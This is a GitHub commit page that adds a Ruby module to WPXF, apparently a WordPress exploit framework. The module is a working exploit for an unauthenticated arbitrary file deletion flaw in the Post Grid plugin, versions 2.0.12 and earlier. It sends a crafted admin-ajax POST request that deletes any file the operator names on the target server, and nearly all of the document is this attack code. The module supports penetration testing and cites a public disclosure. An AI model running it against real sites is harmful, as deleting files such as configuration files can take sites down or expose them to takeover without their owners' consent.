This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +65
-0
lines changed
Expand file tree Collapse file tree 1 file changed +65
-0
lines changed Original file line number Diff line number Diff line change 1+ class Wpxf ::Auxiliary ::PostGridFileDeletion < Wpxf ::Module
2+ include Wpxf
3+
4+ def initialize
5+ super
6+
7+ update_info (
8+ name : 'Post Grid <= 2.0.12 Unauthenticated Arbitrary File Deletion' ,
9+ desc : 'This module exploits a vulnerability in versions <= 2.0.12 of ' \
10+ 'the Post Grid plugin which allows you to delete any arbitrary ' \
11+ 'file accessible by the user the web server is running as.' ,
12+ author : [
13+ 'White Fir Design' , # Disclosure
14+ 'Rob Carr <rob[at]rastating.com>' # WPXF module
15+ ] ,
16+ references : [
17+ [ 'WPVDB' , '8667' ] ,
18+ [ 'URL' , 'https://www.pluginvulnerabilities.com/2016/11/08/file-deletion-vulnerability-in-post-grid/' ]
19+ ] ,
20+ date : 'Nov 08 2016'
21+ )
22+
23+ register_options ( [
24+ StringOption . new (
25+ name : 'remote_file' ,
26+ desc : 'The relative or absolute path of the file to delete (relative to /wp-admin/)' ,
27+ required : true
28+ )
29+ ] )
30+ end
31+
32+ def check
33+ check_plugin_version_from_readme ( 'post-grid' , '2.0.13' )
34+ end
35+
36+ def remote_file
37+ normalized_option_value ( 'remote_file' )
38+ end
39+
40+ def run
41+ return false unless super
42+
43+ emit_info "Deleting #{ remote_file } ..."
44+ res = execute_post_request (
45+ url : wordpress_url_admin_ajax ,
46+ body : {
47+ action : 'post_grid_ajax_remove_export_content_layout' ,
48+ file_url : remote_file
49+ }
50+ )
51+
52+ if res . nil? || res . timed_out?
53+ emit_error 'Request timed out'
54+ return false
55+ end
56+
57+ if res . code != 200
58+ emit_error "Server responded with code #{ res . code } "
59+ return false
60+ end
61+
62+ emit_success 'File deleted'
63+ true
64+ end
65+ end
You can’t perform that action at this time.
0 commit comments